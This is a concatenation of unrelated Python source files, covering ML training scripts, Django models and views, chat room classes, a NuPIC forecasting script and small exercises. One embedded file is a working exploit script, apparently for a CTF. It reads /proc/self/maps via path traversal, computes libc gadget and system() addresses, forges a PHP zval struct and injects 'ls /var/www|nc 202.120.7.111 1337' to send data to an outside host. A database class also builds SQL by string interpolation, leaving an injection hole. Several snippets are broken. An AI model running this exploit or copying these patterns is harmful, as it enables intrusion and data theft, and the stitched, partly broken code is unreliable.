from sklearn.ensemble import BaggingClassifier
import pandas as pd
from sklearn.externals import joblib
def open_model(path):
with open(path,'r',encoding='utf-8',errors='ignore') as f:
data=f.read()
return data
## remove repetion data
'''
def remove_repretion(data):
length = len(data)
for i in range(length):
data[i]=list(set(data[i]))
while [] in data:
data.remove([])
return sorted(data,key = lambda x:len(x),reverse=True)
'''
def compare(a,b):
max=0
if a>=b:
max =a
else:
max = b
return max
'''features:
the sum of words score,count(pos),
count(neg),count(neu),count(all words) '''
def extract_features(dataset):
features=[]
for line in dataset:
sum_score = 0
pos_count = 0
neg_count = 0
neu_count = 0
all_count = 0
all_count = len(line)
for row in line:
if len(list(swn.senti_synsets(row)))>0:
word=[]
for i in swn.senti_synsets(row):
word = i
break;
pos_score = word.pos_score()
neg_score = word.neg_score()
neu_score = word.obj_score()
max_score = max(pos_score,neg_score,neu_score)
if max_score == neu_score:
neu_count+=1
elif max_score == neg_score:
neg_count+=1
sum_score=sum_score+(-1)*max_score
elif max_score == pos_score:
pos_count+=1
sum_score+=max_score
features.append([sum_score,pos_count,neg_count,neu_count,all_count])
return features
if __name__ == '__main__':
posData_path = "/home/lt228/Desktop/Depression-detection/positive_model.csv"
negData_path = "/home/lt228/Desktop/Depression-detection/negative_model.csv"
pos_csv = pd.read_csv(posData_path)
neg_csv = pd.read_csv(negData_path)
pos_model = np.array(pos_csv.iloc[:,1:14])
neg_model = np.array(neg_csv.iloc[:,1:14])
dataset= np.concatenate((pos_model,neg_model))
target = np.append(np.ones(len(pos_model)),np.zeros(len(neg_model)))
print(dataset.shape)
print("Strating training...")
svr = svm.SVC()
parameters = {'kernel': ('rbf', 'rbf'), 'C': [0.1,0.3,0.9,1,10], 'gamma': [0.125, 0.25, 0.5, 1, 2, 4]}
X_train, X_test, y_train, y_test = train_test_split(dataset,
target,test_size=0.25)
print(len(X_train))
##joblib.dump(clf,"/Users/charles_tong/Desktop/Depression-detection/classifier_model/svm.model")
clf = GridSearchCV(svr,parameters)
clf.fit(X_train,y_train)
print("over")
print(clf.best_params_)
print(clf.best_score_)
print("Test Accuracy: %f"%clf.score(X_test,y_test))
|
from sklearn.model_selection import train_test_split
from Utils import plot_utils as plt_ut, datasets
import numpy as np
import Adaline.GradientDescendentAdaline as gd
import time
import yaml
def main():
stream = open('configurations/runConfigurations.yml', 'r', encoding='utf-8').read()
configurations = yaml.load(stream=stream, Loader=yaml.FullLoader)
# linear model 1: z = 2x + 3 + noise
base = datasets.create_linear_model(n_variables=configurations['n_variables'],
l_coeficients=configurations['coeficients'],
n_samples=configurations['n_samples'],
normalize= bool(configurations['normalize']))
iterations = configurations['realizations']
learning_rate = configurations['learning_rate']
epochs = configurations['epochs']
realizations = []
total_time = 0
for i in range(iterations):
start = time.time()
training_base, test_base = train_test_split(base, test_size=configurations['test_size'])
AdalineGD = gd.Adaline(n_weights=len(configurations['coeficients']))
AdalineGD.training(training_base, epochs=epochs, learning_rate=learning_rate) #random.uniform(0.001, 0.010)
print('Iteration {}'.format(i+1))
print(AdalineGD.weights)
mse, rmse = AdalineGD.test(test_base)
print('------------------------')
end = time.time()
total_time += (end-start)
realizations.append({'MSE': mse,
'RMSE':rmse,
'weights':AdalineGD.weights,
'cost': AdalineGD.cost,
'training_base':training_base,
'test_base': test_base})
print('\n--------Statistics---------')
print('Mean execution time: {}'.format(total_time/iterations))
realization = choose_best_realization(realizations)
plt_ut.plot_adaline_results(realization, bool(configurations['normalize']))
def choose_best_realization(realizations):
m_mse = []
m_rmse = []
for i in range(len(realizations)):
m_mse.append(realizations[i]['MSE'])
m_rmse.append(realizations[i]['RMSE'])
min_mse = min(m_mse)
n = m_mse.index(min_mse)
stand_deviation_mse = np.std(m_mse)
stand_deviation_rmse = np.std(m_rmse)
print('\nBest realization: {}'.format(n+1))
print('Mean of MSE:{}'.format(np.mean(m_mse)))
print('MSE of best realization: {}'.format(min_mse))
print('RMSE of best realization: {} \n'.format(realizations[n]['RMSE']))
print('Standard Deviation MSE: {}'.format(stand_deviation_mse))
print('Standard Deviation RMSE: {}'.format(stand_deviation_rmse))
return realizations[n]
if __name__ == '__main__':
main()
|
from model import Spinenet
from dataloader import DataLoader, get_Idx
from util import get_image
from params import Parameter
import matplotlib.pyplot as plt
import numpy as np
import tensorflow as tf
#create model
params = Parameter().get_args()
sp = Spinenet(params)
#training
if params.train:
dl = DataLoader(params)
batch_data = dl.get_train()
val_data = dl.get_val()
history = sp.model.fit(batch_data, epochs=params.epochs, validation_data=val_data)
sp.model.save(params.model_path)
#TODO Logging
else:
img = get_image('test_pics/dude_standing.jpg', before=False, after=False)
res = sp.model.predict(img)[0]
idx = np.argmax(res)
print(f'{get_Idx()[idx]} with {res[idx] * 100}')
if params.convert:
converter = tf.lite.TFLiteConverter.from_keras_model(sp.model)
tflite_model = converter.convert()
open(params.model_path + ".tflite", "wb").write(tflite_model) |
import time
import weakref
from serf.publisher import Publisher
# Chat service models for Person, Room and RoomList.
class Person(object):
def __init__(self, client_addr):
self.client_addr = client_addr
self.name = None
self.rooms = {}
def say(self, room_name, msg):
room = self.rooms.get(room_name)
if room is not None:
room._say(self.client_addr, self.name, msg)
def _enter(self, room_name, room):
if room_name in self.rooms:
return
self.rooms[room_name] = room
room._addPerson(self)
def leave(self, room_name):
room = self.rooms.pop(room_name, None)
if room is not None:
room._removePerson(self.client_addr)
def leaveAll(self):
for room_name in list(self.rooms):
self.leave(room_name)
def setName(self, name):
if name == self.name:
return
self.name = name
for room in self.rooms.values():
room._addPerson(self)
class Room(Publisher):
def __init__(self):
Publisher.__init__(self)
self.people = weakref.WeakValueDictionary()
self.history = []
def _addPerson(self, person):
self.people[person.client_addr] = person
self.notify('enter', [person.client_addr, person.name])
def _removePerson(self, client_addr):
person = self.people.pop(client_addr, None)
if person is not None:
self.notify('leave', person.client_addr)
def _say(self, client_addr, name, msg):
event = [client_addr, name, msg, time.time()]
self.notify('message', event)
self.history.append(event)
if len(self.history) > 15:
del self.history[0]
def getPeople(self):
info = {}
for addr, person in self.people.items():
info[addr] = person.name
return info
def getHistory(self):
return self.history
class RoomList(Publisher):
def __init__(self):
Publisher.__init__(self)
self.rooms = {}
def getRoom(self, name):
if name not in self.rooms:
self.rooms[name] = Room()
self.notify('new-room', name)
return self.rooms[name]
def list(self):
return list(sorted(self.rooms))
def addPerson(self, room_name, person):
if type(person) is not Person:
return
room = self.getRoom(room_name)
person._enter(room_name, room)
|
#!/usr/bin/python3
# coding: utf-8
# Copyright (c) 2019-2020 Latona. All rights reserved.
import os
from pathlib import Path
from aion.mysql import BaseMysqlAccess
from aion.logger import lprint, lprint_exception
class RobotBackupDB(BaseMysqlAccess):
def __init__(self):
super().__init__("Maintenance")
def set_backup_to_db(self, mac_address, backup_save_path, backup_date, backup_state):
query = f"""
insert into backupfiles(macAddress, path, date, state)
values ('{mac_address}', '{backup_save_path}', '{backup_date}', {backup_state});
"""
ret = self.set_query(query)
if not ret:
lprint_exception('failed to insert new backup data')
else:
self.commit_query()
class DeviceDB(BaseMysqlAccess):
def __init__(self):
super().__init__('Device')
def get_devices(self, maker_id):
query = f"""
SELECT macAddress, deviceName, deviceIp
FROM device
WHERE makerId = '{maker_id}';
"""
return self.get_query_list(100, query)
|
# 5. Создать (программно) текстовый файл, записать в него программно набор чисел, разделенных пробелами.
# Программа должна подсчитывать сумму чисел в файле и выводить ее на экран.
my_file = open("task_05_file.txt", "r", encoding='utf-8')
numbersLine = my_file.readline()
numbers = numbersLine.split(" ")
numbersAmount = 0
for num in numbers:
numbersAmount += float(num)
print(numbersAmount)
my_file.close()
|
"""
A program to determine convergence points of bunny-fox populations.
Author: Joe Noel (noelj)
"""
def next_pop(bpop, fpop):
bpop_next = max(0,int((10*bpop)/(1+0.1*bpop) - 0.05*bpop*fpop))
fpop_next = max(0,int(0.4 * fpop + 0.02 * fpop * bpop))
return (bpop_next, fpop_next)
def check_convergence(bpop,fpop):
i = 0
bpop_i = bpop
fpop_i = fpop
history = [(bpop_i,fpop_i)]
if bpop_i == 0 or fpop_i == 0:
converge = True
return (bpop, fpop, 1, converge)
else:
while i < 99:
bpop,fpop = next_pop(bpop,fpop)
history.append((bpop,fpop))
if history[i] == history[i+1]:
converge = True
break
elif bpop == 0 or fpop == 0:
converge = True
break
elif i == 98:
converge = False
del history[-1]
break
i += 1
return (bpop, fpop, (i+2), converge)
###############
## Main Code ##
###############
bpop_i = int(raw_input('Please enter the starting bunny population ==> '))
print bpop_i
fpop_i = int(raw_input('Please enter the starting fox population ==> '))
print fpop_i
(bpop, fpop, iterations, converged) = check_convergence(bpop_i,fpop_i)
print "(Bunny, Fox): Start " + str((bpop_i,fpop_i)) + " End: " +\
str((bpop,fpop)) + ", Converged: " + str(converged) +\
" in %d generations" %(iterations)
|
def isPrime(n):
if n == 2:
return True
elif n == 3:
return True
if n % 2 == 0:
return False
elif n % 3 == 0:
return False
i = 5
w = 2
while i * i <= n:
if n % i == 0:
return False
i += w
w = 6 - w
return True
n = 2
sum = 0
while n < 2000000:
if isPrime(n):
sum += n
n += 1
print(n)
print(sum)
|
import subprocess
import hashlib
import requests
import pickle
import struct
p32 = lambda(x): struct.pack('<I', x)
u32 = lambda(x): struct.unpack('<I', x)[0]
p64 = lambda(x): struct.pack('<Q', x)
u64 = lambda(x): struct.unpack('<Q', x)[0]
url_base = 'http://0/'
url_base = 'https://school.fluxfingers.net:1531/'
def down(path):
r = requests.get(url_base + 'index.php?pet=../../../../../' + path)
d = r.content
start = d.find('<textarea name="petitiontext" style="width: 100%;" rows="12">') + 61
end = d.find('</textarea><br><br>')
d = d[start:end]
return d
def info(d):
d = d.split('\n')
heaps = []
for d_l in d:
if 'libc-2.19.so' in d_l: heaps.append(d_l)
hs = []
for h in heaps:
r = h.split()[0]
hs.append(r[:r.find('-')])
return hs
def fastcoll(prefix):
# assert len(prefix) == 64
open('pf', 'w').write(prefix)
subprocess.check_output(['./fastcoll', 'pf'])
a = open('md5_data1').read()
b = open('md5_data2').read()
# assert hashlib.md5(a).digest() == hashlib.md5(b).digest()
# assert a != b
assert '\r' not in a
assert '\r' not in b
assert '\n' not in a
assert '\n' not in b
assert '\x0b' not in a
assert '\x0b' not in b
assert '\x0c' not in a
assert '\x0c' not in b
assert '\x85' not in a
assert '\x85' not in b
return a, b
if __name__ == '__main__':
colls = pickle.load(open('colls'))
payload = []
for coll in colls:
a, b = coll
payload.append(a)
payload.append(b)
print len(colls)
print len(payload)
maps = down('/proc/self/maps')
print maps
libc_base = int(info(maps)[0], 16)
gad = libc_base + 0x00108240
system = libc_base + 0x46640
'''
0x7f3a6793d240 <__libc_cleanup_routine+16>: mov 0x8(%rdi),%rdx
0x7f3a6793d244 <__libc_cleanup_routine+20>: mov (%rdi),%rax
0x7f3a6793d247 <__libc_cleanup_routine+23>: mov %rdx,%rdi
0x7f3a6793d24a <__libc_cleanup_routine+26>: jmpq *%rax
'''
print 'libc_base: ' + hex(libc_base)
print hex(gad)
try:
heap_str = raw_input('input guess heap')
heap_base = int(heap_str, 16)
except:
pass
fake_zval_struct = p64(system) # obj_id at 0
fake_zval_struct += p64(heap_base) # obj_handlers at 8
fake_zval_struct += p32(0x1) # ref_count at 16
fake_zval_struct += p32(0x5) # type at 20
fake_zval_struct += p64(0x0) # ref_flag at 24
assert( len(fake_zval_struct) == 32 )
fake_zval_struct = fake_zval_struct[:32 - 1 - 1]
#assert(False)
petitiontext = fake_zval_struct
#recipient = 'A' * 0x4
#block = 'B' + 'A' * 0xfff
block = ''
block += 'ls /var/www|nc 202.120.7.111 1337'
block = block.ljust(0x30, '\x00')
block = block * 4
block += p64(gad) * ((0x100 - 0xc0) / 8)
recipient = block * (0x40000 / len(block))
#payload = ['ppp', 'vvv']
url = 'https://school.fluxfingers.net:1531/index.php'
data = {'submit':'1', 'namelist':'\r'.join(payload), 'anon':'on', 'petitiontext': petitiontext, 'recipient': recipient}
r = requests.post(url, data=data)
print r.content
|
#coding=UTF-8
from haystack import indexes
from home.models import *
#注意格式
class HomeIndex(indexes.SearchIndex,indexes.Indexable):
text = indexes.CharField(document=True, use_template=True)
#给title,content设置索引
source_name = indexes.NgramField(model_attr='source_name')
source_name = indexes.NgramField(model_attr='source_name')
def get_model(self):
return CustomerSource
def index_queryset(self, using=None):
return self.get_model().objects.order_by('-created') |
from abc import ABC
from abc import abstractmethod
from typing import Dict
from model.logger import Logger
from threading import RLock
import collections
class Worker(ABC):
def __init__(self, attr: Dict, pipe: int):
self.pipe = pipe
self.lock = RLock()
self.attributes = attr
self.started = False
self.modbus_receiver = None
self.modbus_thread = None
self.logger = Logger('WorkerLogger-{}'.format(attr.get('port', 0)), '../logger/logs/worker_log.txt',
prefix='Worker Server {}'.format(attr.get('port', 0)))
self.previous_readings = collections.deque(maxlen=1000)
self.num_readings = 0
@abstractmethod
def run(self, receive_queue):
pass
@abstractmethod
def get_reading(self):
pass
def __str__(self):
return "{}".format(self.attributes)
|
#各種檔案寫讀範例 新進暫存
'''
import sys, ast
filename = 'C:/_git/vcs/_1.data/______test_files1/__RW/_csv/scores.csv'
scores = dict()
with open(filename,'r') as fp:
filedata = fp.read()
#scores = ast.literal_eval(filedata)
print("以下是{}成績檔的字典型態資料:".format(filename))
import sys
std_data = dict()
with open(filename, encoding='utf-8') as fp:
alldata = fp.readlines()
for item in alldata:
no, name = item.rstrip('\n').split(',')
std_data[no] = name
print(std_data)
'''
'''
#readlines()可以依照行讀取整個檔案,回傳是一個List,每一個element就是一行字。
file = open("demo_en.txt", "r")
lines = file.readlines()
print(lines)
file.close()
'''
print('測試完成')
|
from ctypes import sizeof, addressof, c_ubyte, Structure, memmove
import pyads
import struct
from pyads.structs import SAdsNotificationHeader
# Modified version of Connection.notification
def notification(plc_datatype=None, pyqtSignal=None):
# type: (Optional[Type[Any]]) -> Callable
"""Decorate a callback function.
**Decorator**.
A decorator that can be used for callback functions in order to
convert the data of the NotificationHeader into the fitting
Python type.
:param plc_datatype: The PLC datatype that needs to be converted. This can
be any basic PLC datatype or a `ctypes.Structure`.
The callback functions need to be of the following type:
>>> def callback(handle, name, timestamp, value)
* `handle`: the notification handle
* `name`: the variable name
* `timestamp`: the timestamp as datetime value
* `value`: the converted value of the variable
**Usage**:
>>> import pyads
>>>
>>> plc = pyads.Connection('172.18.3.25.1.1', 851)
>>>
>>>
>>> @plc.notification(pyads.PLCTYPE_STRING)
>>> def callback(handle, name, timestamp, value):
>>> print(handle, name, timestamp, value)
>>>
>>>
>>> with plc:
>>> attr = pyads.NotificationAttrib(20,
>>> pyads.ADSTRANS_SERVERCYCLE)
>>> handles = plc.add_device_notification('GVL.test', attr,
>>> callback)
>>> while True:
>>> pass
"""
def notification_decorator(func):
# type: (Callable[[int, str, datetime, Any], None]) -> Callable[[Any, str], None] # noqa: E501
def func_wrapper(notification, data_name):
# type: (Any, str) -> None
contents = notification.contents
data_size = contents.cbSampleSize
# Get dynamically sized data array
data = (c_ubyte * data_size).from_address(
addressof(contents) + SAdsNotificationHeader.data.offset
)
if plc_datatype == pyads.PLCTYPE_STRING:
# read only until null-termination character
value = bytearray(data).split(b"\0", 1)[0].decode("utf-8")
elif issubclass(plc_datatype, Structure):
value = plc_datatype()
fit_size = min(data_size, sizeof(value))
memmove(addressof(value), addressof(data), fit_size)
elif plc_datatype not in pyads.DATATYPE_MAP:
value = bytearray(data)
else:
value = struct.unpack(
pyads.DATATYPE_MAP[plc_datatype], bytearray(data)
)[0]
# QUICKFIX: dt is commented out since it outside the Connection class in my case
# dt = filetime_to_dt(contents.nTimeStamp)
dt = 0.0
# Write data to signal
pyqtSignal.emit(value)
return func(contents.hNotification, data_name, dt, value)
return func_wrapper
return notification_decorator |
#! /usr/bin/env python
###################################
# Davi Ortega 9/8/2014
###################################
import sys
import bitk
import random
import json
if '-h' in sys.argv:
print 'Reads a list of names of strain and outputs a list of mist organism id'
sys.exit()
genomes = []
with open(sys.argv[1], 'r') as f:
for line in f:
genomes.append(line.replace('\n',''))
mist = bitk.get_mist22_client()
output = ''
orgsin = []
orgnodeal = []
orgjson = {}
def firsttry(name, orgsin, output):
print name
data = [ d for d in mist.genomes.find({ 'n' : { '$regex' : name, '$options' : 'i'}}, {'_id' : 1 , 'n' : 1 })]
if len(data) == 0:
return None
else:
d = random.choice(data)
print str(d['_id']) + ' - ' + str(d['n'])
output += str(d['_id']) + '\n'
orgsin.append(d['_id'])
orgjson[name] = [ d['n'], d['_id'] ]
return orgsin, output
def secondtry(name, orgsin, output):
newname = ".*".join(name.split(' '))
print newname
data = [ d for d in mist.genomes.find({ 'n' : { '$regex' : newname, '$options' : 'i'}}, {'_id' : 1 , 'n' : 1 })]
if len(data) == 0:
return None
else:
random.shuffle(data)
for d in data:
if d['_id'] not in orgsin:
break
if d['_id'] in orgsin:
return None
else:
print str(d['_id']) + ' - ' + str(d['n'])
output += str(d['_id']) + '\n'
orgsin.append(d['_id'])
orgjson[name] = [ d['n'], d['_id'] ]
return orgsin, output
def thirdtry(name, orgsin, output):
newname = ".*".join(name.split(' ')[:2])
print newname
data = [ d for d in mist.genomes.find({ 'co' : True, 'n' : { '$regex' : newname, '$options' : 'i'}}, {'_id' : 1 , 'n' : 1 })]
if len(data) == 0:
print "Nothing found"
return None
else:
random.shuffle(data)
for d in data:
if d['_id'] not in orgsin:
break
if d['_id'] in orgsin:
print "Found osmething but it were already selected"
return None
else:
print str(d['_id']) + ' - ' + str(d['n'])
output += str(d['_id']) + '\n'
orgsin.append(d['_id'])
orgjson[name] = [ d['n'], d['_id'] ]
return orgsin, output
def fourthtry(name, orgsin, output):
newname = ".*".join(name.split(' ')[:2])
print newname
data = [ d for d in mist.genomes.find({ 'n' : { '$regex' : newname, '$options' : 'i'}}, {'_id' : 1 , 'n' : 1 })]
if len(data) == 0:
print "Nothing found"
return None
else:
random.shuffle(data)
for d in data:
if d['_id'] not in orgsin:
break
if d['_id'] in orgsin:
print "Found osmething but it were already selected"
return None
else:
print str(d['_id']) + ' - ' + str(d['n'])
output += str(d['_id']) + '\n'
orgsin.append(d['_id'])
orgjson[name] = [ d['n'], d['_id'] ]
return orgsin, output
if 1 == 1:
print "Matching strain names to mistid the best we can."
for name in genomes:
data = firsttry(name, orgsin, output)
if data:
orgsin, output = data
else:
data = secondtry(name, orgsin, output)
if data:
orgsin, output = data
else:
data = thirdtry(name, orgsin, output)
if data:
orgsin, output = data
else:
data = fourthtry(name, orgsin, output)
if data:
orgsin, output = data
else:
orgnodeal.append(name)
orgjson[name] = [ "--NOT-IN-MIST--" , 'XXX' ]
if len(orgnodeal) !=0:
print "\n\n\nThis genomes could not be found"
for i in orgnodeal:
print i
#print [ d for d in mist.genomes.find({ 'n' : { '$regex' : 'Salmo' }})]
with open('mistid.list', 'w') as f:
f.write(output)
with open('mistid.js', 'w') as f:
json.dump(orgjson, f, indent = 2)
|
from openerp.osv import osv,fields
class res_company(osv.Model):
_inherit = "res.company"
_columns = {
'purchase_note': fields.text('Default Purchase Terms and Conditions', translate=True, help="Default terms and conditions for purchases."),
}
class purchase_order(osv.Model):
_inherit = "purchase.order"
_columns = {
'notes': fields.text('Terms and conditions', required=True),
}
_defaults = {
'notes': lambda self, cr, uid, context: self.pool.get('res.users').browse(cr, uid, uid, context=context).company_id.purchase_note,
}
class purchase_requisition(osv.Model):
_inherit = "purchase.requisition"
_columns = {
'description': fields.text('Description', required=True)
}
_defaults = {
'description': lambda self, cr, uid, context: self.pool.get('res.users').browse(cr, uid, uid, context=context).company_id.purchase_note,
}
|
from django.db import models
from django.contrib.auth.models import User
# for handling signal of user model
# this will extend the user model
from django.db.models.signals import post_save
from django.dispatch import receiver
# for quick aggregate to average
from django.db.models import Avg
# global variable that restrict the range of rate
rateRange =[(i,i) for i in range(6)]
"""
Location code copy from my own GitHub
https://github.com/tecty/SENG2021/blob/master/backend/post/models.py
"""
class Location(models.Model):
# the exact name for that location
address = models.CharField(max_length = 512,blank=True)
# record the precise location of that location
# has number before point is 15-12 = 3, after the point is 20
lat = models.DecimalField(max_digits=24, decimal_places= 20)
lng = models.DecimalField(max_digits=24, decimal_places= 20)
"""
Extention of Current User model of Django
"""
class Profile(models.Model):
user = models.OneToOneField(User, on_delete=models.CASCADE)
# Location will be change to foreign key
location = models.ForeignKey(Location,models.PROTECT,blank = True, null = True)
# telephone of this customer
tel = models.BigIntegerField(null= True)
# Whether is trusted by out group (admin manage )
is_trusted = models.BooleanField(default=False)
@receiver(post_save, sender=User)
def create_user_profile(sender, instance, created, **kwargs):
if created:
Profile.objects.create(user=instance)
@receiver(post_save, sender=User)
def save_user_profile(sender, instance, **kwargs):
instance.profile.save()
class Message(models.Model):
# Support the disscussion
parentMsg = models.ForeignKey("Message",blank= True, null = True,on_delete= models.CASCADE)
# owner
owner = models.ForeignKey(User, on_delete = models.PROTECT)
# this message
msg = models.CharField(max_length = 1024)
class Parameter(models.Model):
key = models.CharField(max_length = 255)
value = models.CharField(max_length = 1024)
# soft delete the Parameter
isDelete = models.BooleanField(default=False)
# functions used to show the object's name in Django
def __unicode__(self):
return "%s : %s" % (self.key, self.value)
def __str__(self):
return self.__unicode__()
class Event(models.Model):
# basic description of this event
title = models.CharField(max_length=255)
# who post this event
owner = models.ForeignKey(User, models.PROTECT)
# the time this event will be held
eventTime = models.DateTimeField()
# the time need to close the bid
bidClosingTime = models.DateTimeField()
# where is the event
location = models.ForeignKey(Location,models.PROTECT)
def __unicode__(self):
return self.title
def __str__(self):
return self.__unicode__()
"""
Verified At state.dfy
"""
class Post(models.Model):
# Parent of the post model have neccessary infomation
# Move majority information that would have collesion to Event model
event = models.ForeignKey(Event,on_delete = models.CASCADE)
# basic title of this event
title = models.CharField(max_length=255)
# how many people will occour
peopleCount = models.IntegerField()
# the budget of whole event
budget = models.DecimalField(max_digits=12, decimal_places=2)
# how much points received by bidder
posterReceivedPoints = models.IntegerField(default= 0, choices = rateRange)
# forein key to support recursive msg
msg = models.ForeignKey(Message, on_delete = models.PROTECT)
# state of the event
state = models.CharField(
max_length=2,
choices = (
('BD','Bidding'),
('DL','Deal'),
('FN','Finished'),
('CL','Canceled'),
),
default = 'BD',
)
# not required Parameter is added by relation of
# Parameter table
extraParameter = models.ManyToManyField(
Parameter,
blank = True,
related_name = "extra_parameter"
)
# functions used to show the object's name in Django
def __unicode__(self):
return self.title + " of "+ self.event.title
def __str__(self):
return self.__unicode__()
@property
def owner(self):
# post will have same owner as it's event
return self.event.owner
def choose(self,bidder_id):
"""
Use this function, user will choose a bid and make a deal
"""
# switch this state to dealed
self.state = "DL"
deal_bid = self.bid_set.get(pk = bidder_id)
# make all the rest bid as Unselected
for bid in self.bid_set.all():
bid.state = "US"
bid.save()
# the deal bid is set to Selected
deal_bid.state = "SD"
deal_bid.save()
# save the new state of this obj
self.save()
def finish(self):
self.state = "FN"
selected = self.bid_set.get(state = "SD")
selected.state = "FN"
# save the status
self.save()
selected.save()
def rate(self, rate_to_bidder):
selected = self.bid_set.get(state = "FN")
# rate the bidder
selected.bidderReceivedPoints = rate_to_bidder
selected.save()
class Bid(models.Model):
# which post is this bid for
post = models.ForeignKey(Post, on_delete = models.CASCADE)
# A message to have better chance to win
# foreign key to msg to support discussion
msg = models.ForeignKey(Message, on_delete = models.PROTECT)
# state of this event
state = models.CharField(
max_length=2,
choices = (
('BD','Bidding'),
('SD','Selected'),
('US','Unselected'),
('FN','Finished'),
('CL','Canceled'),
),
default = 'BD',
)
# who bid this
owner = models.ForeignKey(User, models.PROTECT)
# what the prive this bidder offer
offer = models.DecimalField(max_digits=12, decimal_places=2)
# How much did bidder received
bidderReceivedPoints = models.IntegerField(default= 0 , choices = rateRange)
class Meta:
# one post can only bid by one guy
unique_together = (("owner","post"),)
# functions used to show the object's name in Django
def __unicode__(self):
return "%s bids %s" % (self.owner, self.offer)
def __str__(self):
return self.__unicode__()
@property
def rateOfBidder(self):
'''
proof by Dafny
'''
bidset = Bid.objects\
.filter(
owner = self.owner,
state = "FN"
)\
.exclude(
bidderReceivedPoints=0
)\
.aggregate(
Avg('bidderReceivedPoints')
)['bidderReceivedPoints__avg']
if bidset == None:
return 0
return bidset;
def rate(self, rate_to_poster):
if self.state != "FN":
raise TypeError("Not allow method")
self.post.posterReceivedPoints = rate_to_poster
# save the status
self.post.save()
|
# %load q03_plot_innings_runs_histogram/build.py
import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
ipl_df = pd.read_csv('data/ipl_dataset.csv', index_col=None)
def plot_innings_runs_histogram():
pivot = ipl_df.pivot_table(values=['runs'], index=['match_code'], columns='inning', aggfunc='count')
inning_1 = pivot['runs'][1]
inning_2 = pivot['runs'][2]
plt.subplot(1,2,1)
inning_1.hist()
plt.subplot(1,2,2)
inning_2.hist()
plt.show()
|
from django.shortcuts import get_object_or_404
from rest_framework import generics, mixins
from rest_framework.response import Response
from rest_framework import status
from rest_framework.views import APIView
from .models import Profile, Like, Message
from .serializers import ProfileSerializer, LikeSerializer, MessageSerializer, UserSerializer
# Create your views here.
class ProfileView(generics.GenericAPIView):
serializer_class = ProfileSerializer
queryset = Profile.objects.all()
def get(self, request):
obj = get_object_or_404(Profile, user=self.request.user)
serializer = self.serializer_class(obj)
return Response(serializer.data)
class ProfileCreateView(generics.CreateAPIView):
serializer_class = ProfileSerializer
class ProfileListView(generics.ListAPIView):
serializer_class = ProfileSerializer
queryset = Profile.objects.all()
class UserCreateView(generics.CreateAPIView):
serializer_class = UserSerializer
class LikeCreateView(generics.CreateAPIView):
serializer_class = LikeSerializer
class LikeListView(generics.ListAPIView):
serializer_class = LikeSerializer
queryset = Like.objects.all()
class LikeUpdateView(generics.RetrieveUpdateAPIView):
serializer_class = LikeSerializer
queryset = Like.objects.all()
class LikeDeleteView(generics.DestroyAPIView):
serializer_class = LikeSerializer
queryset = Like.objects.all()
class MessageCreateView(generics.CreateAPIView):
serializer_class = MessageSerializer
class MessageListView(generics.ListAPIView):
serializer_class = MessageSerializer
queryset = Message.objects.all()
class MessageUpdateView(generics.RetrieveUpdateAPIView):
serializer_class = MessageSerializer
queryset = Message.objects.all()
class MessageDeleteView(generics.DestroyAPIView):
serializer_class = MessageSerializer
queryset = Message.objects.all()
|
# ----------------------------------------------------------------------
# Numenta Platform for Intelligent Computing (NuPIC)
# Copyright (C) 2016, Numenta, Inc. Unless you have an agreement
# with Numenta, Inc., for a separate license for this software code, the
# following terms and conditions apply:
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero Public License version 3 as
# published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
# See the GNU Affero Public License for more details.
#
# You should have received a copy of the GNU Affero Public License
# along with this program. If not, see http://www.gnu.org/licenses.
#
# http://numenta.org/licenses/
# ----------------------------------------------------------------------
import csv
from optparse import OptionParser
from matplotlib import pyplot as plt
import numpy as np
from swarm_runner import SwarmRunner
from scipy import random
import pandas as pd
from htmresearch.support.sequence_learning_utils import *
from pybrain.tools.shortcuts import buildNetwork
from pybrain.supervised import BackpropTrainer
from pybrain.datasets import SupervisedDataSet
plt.ion()
def initializeTDNNnet(nDimInput, nDimOutput, numNeurons=10):
# Build TDNN network with nDim input units,
# numNeurons hidden units and nDimOutput cells
net = buildNetwork(nDimInput,
numNeurons,
nDimOutput,
bias=True,
outputbias=True)
return net
def readDataSet(dataSet):
filePath = 'data/'+dataSet+'.csv'
# df = pd.read_csv(filePath, header=0, skiprows=[1, 2], names=['time', 'data'])
# sequence = df['data']
if dataSet=='nyc_taxi':
df = pd.read_csv(filePath, header=0, skiprows=[1,2],
names=['time', 'data', 'timeofday', 'dayofweek'])
sequence = df['data']
dayofweek = df['dayofweek']
timeofday = df['timeofday']
seq = pd.DataFrame(np.array(pd.concat([sequence, timeofday, dayofweek], axis=1)),
columns=['data', 'timeofday', 'dayofweek'])
elif dataSet=='sine':
df = pd.read_csv(filePath, header=0, skiprows=[1, 2], names=['time', 'data'])
sequence = df['data']
seq = pd.DataFrame(np.array(sequence), columns=['data'])
else:
raise(' unrecognized dataset type ')
return seq
def getTimeEmbeddedMatrix(sequence, numLags=100, predictionStep=1,
useTimeOfDay=True, useDayOfWeek=True):
print "generate time embedded matrix "
print "the training data contains ", str(nTrain-predictionStep), "records"
inDim = numLags + int(useTimeOfDay) + int(useDayOfWeek)
if useTimeOfDay:
print "include time of day as input field"
if useDayOfWeek:
print "include day of week as input field"
X = np.zeros(shape=(len(sequence), inDim))
T = np.zeros(shape=(len(sequence), 1))
for i in xrange(numLags-1, len(sequence)-predictionStep):
if useTimeOfDay and useDayOfWeek:
sample = np.concatenate([np.array(sequence['data'][(i-numLags+1):(i+1)]),
np.array([sequence['timeofday'][i]]),
np.array([sequence['dayofweek'][i]])])
elif useTimeOfDay:
sample = np.concatenate([np.array(sequence['data'][(i-numLags+1):(i+1)]),
np.array([sequence['timeofday'][i]])])
elif useDayOfWeek:
sample = np.concatenate([np.array(sequence['data'][(i-numLags+1):(i+1)]),
np.array([sequence['dayofweek'][i]])])
else:
sample = np.array(sequence['data'][(i-numLags+1):(i+1)])
X[i, :] = sample
T[i, :] = sequence['data'][i+predictionStep]
return (X, T)
def _getArgs():
parser = OptionParser(usage="%prog PARAMS_DIR OUTPUT_DIR [options]"
"\n\nCompare TM performance with trivial predictor using "
"model outputs in prediction directory "
"and outputting results to result directory.")
parser.add_option("-d",
"--dataSet",
type=str,
default='nyc_taxi',
dest="dataSet",
help="DataSet Name, choose from sine, SantaFe_A, MackeyGlass")
# parser.add_option("-n",
# "--predictionstep",
# type=int,
# default=1,
# dest="predictionstep",
# help="number of steps ahead to be predicted")
